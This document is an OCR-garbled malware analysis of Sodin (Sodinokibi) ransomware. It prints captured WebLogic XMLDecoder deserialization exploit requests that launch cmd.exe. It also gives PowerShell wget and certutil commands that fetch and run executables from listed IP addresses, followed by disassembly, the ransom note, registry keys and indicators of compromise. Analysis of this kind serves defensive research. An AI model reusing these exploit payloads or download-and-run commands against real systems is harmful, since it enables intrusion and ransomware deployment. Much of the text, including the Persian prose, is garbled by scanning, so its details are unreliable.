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POST J_async/AsyncResponseSeryice HTTRS1.1

Host:

Connection: close

Acceptl-Encoding: geip, defllate

Accept: text/himl,application/xhtmlexnl, application/=nl;q=8.9,"/*;q=0.8
User-Agent: Mozilla/5.8 (Windows WT 18.8; Winfd; x64; rv:55.8) Geckos/28188181 Firefox/55.8
AccepT-Language: zh-CH, zh;q=0.6, en-US;9=0.5, en;q=0.3

cache-contral: no-cache

Cookie: sidebar collapsedafalse

X-Forwarded-For:

Upgrade - Insecure-Requests: 1

ContenC-Typa: Text/xal

Content-Length: 1832

WL-Proxy-Client-IF: 260.58.176.183

<soapeny:Envelope =mlns:soapenv="http://schemas . omlsoap.org/soapfenvelopes/" xmlns:wsa="http:/wew . Wi, orgs 2805508 addressing®
wmlng Asy="RTCE: S et DR COMSASYNC/ASYNCRBEPONEESErvIcE" CEOARENY | HEAde s
“wsn:ACtloneax< WEa At lon=owsa: RelatesTosuxa wia  RelatesTos<work 'WorkContext smlns work="http://bea. con/ 780486/ sonp/wWor kkareas “><java
wersion="1.4.8" class="java.beans  XMLDecoder™>
<wold class="java.lang.ProcessBullder®>
<array class="java.lang.String" length="3">
=woid index="@"=
estring>cmd. exe<sstrings
£fvoids
owpld index="1"»
=string=fc<Sstring=
<fvold=
wpld index="Z"=
<string>net time Sdomain =
ERTVEF Ec’mﬂ}ﬂﬁﬂvﬂ r/omps_Wl_internalsbea_wlsd_async_responsesdtpkys/earfesTebbaedf a7 28022 200 30eddbadic., icoc/string>
</va =1
<fArray>
svpid method="start®/ =< void>
| <fjavas
<Suerk  WorkConTex =</ soapeny i Header=<saapeny | Boedy><asy : onAsynche Livery/ =/ soapany : Body=</soapeny  Enve lope>HTTR/1.1 202 Accepred
Connection: close
Date: Thu, 25 Apr 2605 18:45:02 GMT
Content-Length: 8
E-Powered-By: Servlet/2.5 J5PF2.1

WebLogIC u.u.ml Qo 4 XV Lg)g‘_\guﬁ.w] ™) ) );9@

POST /_async/AsyncResponseService HTTP/1.1

Most:

Connection: keep-alive

Accept-Enceding: gzip, deflate

Accept: w/»

User-Agent: Mozilla/ss.® (Macintosh; Intel Mac 05 X 19_12_6) AppleMebXit/537.36 (XNTML, like Gecko) Chrome/63.8,3239,.84 Safari/537.36
Content-Type: tToxt/xal;charset-UTF-8

Content-Length: 1129

X<Forvarded-For:

WL-Proxy-Client-IP;

<soapenvilnvelope xmins:soapenv="hitp://schemas.xnlsonp.org/soap/envelope/" xminsiwsa="hitp://waw.v2.0rg/2005/08/addressing” xminsiasy="http://
weiw, Bea. con/async/AsyncResponseService
<soppeny:Meader>
“WSRIACT L00X X< /W5 At ACT Sonx
<wsa:RelatesTo=xx</wsa:RelatesTo>
WO kIO rRContext xulnsiwork="http://bea. con/2004/06/s0ap/workarea/ " »
<void class="java, Lang.Processuiliders
<array class="java.lang.String™ length="3"s
<void index="9">
“stringsoad«/strings
<fvoig>
«<void index="1"»
<string=/c</string>
«</void=
<void index="2"s
“string=powershell.exe wget Attp://45.55.211.79/.cache/untitled.exe ~outfile ATEMPS/untitled. exelanp;cnd.exe /c ATEMPA,
\untitled,exec/string>
“/voigs
<jarray>
«vold method="start" /=</vold»
</work:Work{ontext>
</soapenv:Headers
<sobpeny:Body>
«<asy:omAsyncDelivery/»
</sospenv:body>
«/scapenviEnvelopesHTTP/1.1 282 Accepted
Dote: Fri, 26 Apr 2919 28:51:45 QM7
Content-Length: @
X-Powered-By: Serviet/2,5 JSP/2.1
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cmd /¢ powershell.exe wget http://188.166.74.218/radm.exe  -outfile
%TEMP%/radm.exe&cmd.exe /c %TEMP%\\radm.exe

il 00 0013 Lisled loyd cpl Ol a0 WSlesld jee L1 S

cmd /c cmd.exe /c certutil.exe -urlcache -split -f http://188.166.74.218/radm.exe
%TEMP%/radm.exe&cmd.exe /c %TEMP%\\radm.exe

b 6,500 la bols 58l opl a8 025,S oamlie « Lyl 9 CEItULil ol 3 o)y L radm.exe Ll p ogMe
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Property Value
File Name Ch\Users\Milad Kahsari Alhadi\Desktophuntitled.exe
File Type Portable Executable 32
File Info UPXv3.0
File Size 252.50 KB (258560 bytes)
PE Size 252.50 KB (258560 bytes)
Created Wednesday 03 July 2019, 18.58.03
Modified Wednesday 03 July 2019, 18.58.03
Accessed Wednesday 03 July 2019, 18.58.03
MD5 1CE1CASSBFF4517ATEFTEBFOATC22B16
SHA-1 F35F0CD23692E5FSD0A3BETAEFCEB01DFDDAEGL4
o S
File : | untitled.exe PH =]
- Entry Point : 00081010 00 EP Section : |Jpx1 = i
Fle Offset: 00038410 First Bytes :  60.BE.00.90.44. | @
= Linker Info : 12.00 SubSystem : Windows GUI PE | O I
FleSze:  ooo3r20oh <) (1] Overay:  NO 00000000
E Image is 32bit executable RES/OVL:10 /0% 2018 % E
E UPX 0.89 - 3.0 => Markus & Laszlo ver. [ 3.95 ] <- from fle. ( sign ke Ul [Sm / tl [ Rip ]
Lamer Info - Help Hint - Unpack info 0 ms.
unpack "upx.exe -d" from http://upx.sf.net or any UPX/Generic unpach @ ==
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e Read, Wrde, Delete.
PM, ChangeTime: 7/9/2

e /a, OpenResult Opened
tributes: RD

n. Options: Synchronous I0 Non-Alert, Non-Directory File, Atributes: n/a, ShareMode: Read, Delete, AlocationSize: /3. OpenResult O

- -
el
3. @
3@
un
3. @
3. @
[
o
3.
e
[
un
u

T T T T T T |

MRl bwg (o (oS sladls Bio ¥ g0
b ot Sad 59y p SleMbl g s Gl joang objb 505 «Shadow Copies» isw cla oS 28g 4elsl )
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All of your files are encrypted!

Find Onhxv-readme.txt and follow instuctions

~| Onhxv-readme - Notepad

File Edit Format View

[+] whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on you
computer has expansion Onhxv.

By the way, everything is possible to recover (restore), but you need to follow our
instructions. Otherwise, you cant return your data (NEVER).

[+] what guarantees? [+]

Its just a business. we absolutely do not care about you and your deals, except getting
benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its
not in our interests.

To check the ability of returning files, You should go to our website. There you can decrypt
one file for free. That is our guarantee.

If you will not cooperate with our service - for us, its does not matter. But you will Tlose
your time and data, cause just we have the private key. In practise - time is much more
valuable than money.

[+] How to get access on website? [+]
You have two ways:

1) [Recommended] Using a TOR browser!
a) Download and install TOR browser from this site: https://torproject.org/
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text:eablehce

Ltext:08D16A60 loc_D16AGE:

Jtext:@8D16AGE push ebx

.text:8a016A61 push esi

Ltext:@eaDl6A62 call IsArchitectureAmded
Jtext:@eDleAsy test eax, eax

Jtext:@8D16A69 jz short loc_D16A77
h
ol =]
Ltext:08D16AGE mov ebx, offset g_coede_xG4| |.text:88D16A77
Ltext:8eDL6ATE mov esi, ge6eeh Ltext:@8D16A77 loc_DI16ATT:
Ltext:@eD1EATS jmp shert loc_D16AS1 Ltext:88D16AT7 mov ebx, offset g_code_x26
| L text:88016A7C mov esi, 3686h
v =============== S UBROUTINE ====
bl e
-text:@0D16AE1 g_code_x86 proc near
. text:80016A81 loc D16ABL: call 545
Jtext:@8D16ASL push edi pop —
.text:88D16AB2 push 4eh ; '@ ; TlProtect sub ecx, 5
.text:00016AB4 push 308ah 3 flAllocationType <ub esp, 4ach
Ltext:@8D16ABY push esi ; dwsize push ebp
.text:@8016ASA push @ ; lpAddress push ebx
Ltext:@8016A3C call VirtualAlloc push esi
Ltext:80016A92 mov edi, eax push adi
Ltext:eeD16A94 test edi, edi mov ebp, ecx
Ltext:8eD16A96 jz short loc_D16AAB xor ecx, ecx
mov esi, large fs:3@h
Y mov esi, [esi+eCh]
Wlﬁl mov esi, [esit+lch]
.text:@8016A98 push esi .
. text:@@D16AI9 push  ebx 13 [P :
.text:@8D16A0A push edi 148 *
.text:@eD16A96 call memcpy mev E:?* [ES%+2éh
_text:@ED16AAR add esp, ach mov ikl [[EEERF]
.text:@BD16AA3 push [ebp+arg_2] :;: ?23i+£§ﬁ§] ox
- 3 »
text:0eD16AAG cill edi T short loc D25761
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All of your files are encrypted!

Find Onhxv-readme.ixt and follow instuctions

@ Registry Editor o [@ =
FilesEdit=r)

e Edit View Favorites Help

Python “ || Name Type Data

RegisteredApplicat ab)(Default) REG_SZ (value not set)

Sonic 8 0_key REG_BINARY af 40 bf 34 c3 ef ff 31 3e ed 9b cf cd d2 Se ab 0f cc 34 01 3d 00 2f f7 1b b0 b4 74 1e b2 fe ac 14 al 64 3f bd e8 30 f0 75 a6 a6 5c 2c

VMware, Inc. 4| pk_key REG_BINARY ccc823 cf 26 75 f2 6 ac 8f 3¢ 1a d7 91 e6 d8 d6 fb 11 02 b0 00 3e f2 cb 6e 72 34 78 d2 12 70

4 Wow6432Node an)

BraveSofuiare 20| rnd_ext REG_SZ .Onhxv
Classes Te|sk_key REG_BINARY 930 0 c9 8b c2 9d d4 33 e2 a6 f8 ee 35 03 01 15 c9 34 b3 6¢ c0 e2 16 84 ce 24 b0 5a 82 e3 fd f4 ¢7 07 c7 94 dd 99 bc 3a 42 8d 15 ||
Clients We|stat REG_BINARY 96 3e al 8c b5 65 ab 77 3e 0f 88 9 5a 01 5a cb 31 ce 34 aa 21 8e ad 47 82 fd c7 1a 2f 67 cb e4 1d b8 34 ce 10 1f ec e6 83 b7 39 bb
Immunity Inc e|sub_key REG_BINARY d6 0d ff 40 44 0f 39 Oe d2 dd f0 4b 67 4c 2f bb f0 7d 35 fa 4b 2e f7 fc 98 1c a8 37 7a 2b f4 4d
Intel
JavaSoft
JreMetrics
Microsoft
Morpheus Deve
MozillaPlugins
Npcap
0ODBC
Policies
Python
recfg
RegisteredAppl =

rrrrrrrr
< [ » < 1 »

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\recfg

Sty 0950 )1 Blel bawg 0ad 0383 (6)550) CleMLIY jyguas

—
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Name:

W32/Sodin - Packed
W32/Sodin - Unpacked
Samples:

URLs

Ips

homeland security

kaipod

Hash

1celca85bff4517alef7e8f9a7c¢22b16

1celca85bff4517alef7e8f9a7c¢22b16
0fa207940ea53e2b54a2b769d8ab033a6b2c5e08c78bf4d7dade79849960b54d
34dffdb04ca07b014cdaee857690f86e490050335291ccc84c94994fa91e0160
74bc2f9a81ad2cc609b7730dbabb146506f58244e5e655cbb42044913384a6ac
95ac3903127b74f8e4d73d987f5e3736f5bdd909ba756260e187b6bf53fb1a05
fa2bccdb9db2583c2f9ff6a536e824f4311c9a8a9842505a0323f027b8b51451
http://188.166.74[.]218/office.exe

http://188.166.74[.]218/radm.exe

http://188.166.74[.]218/untitled.exe
http://45.55.211[.]79/.cache/untitled.exe

130.61.54.136

45.55.211.79

188.166.74.218
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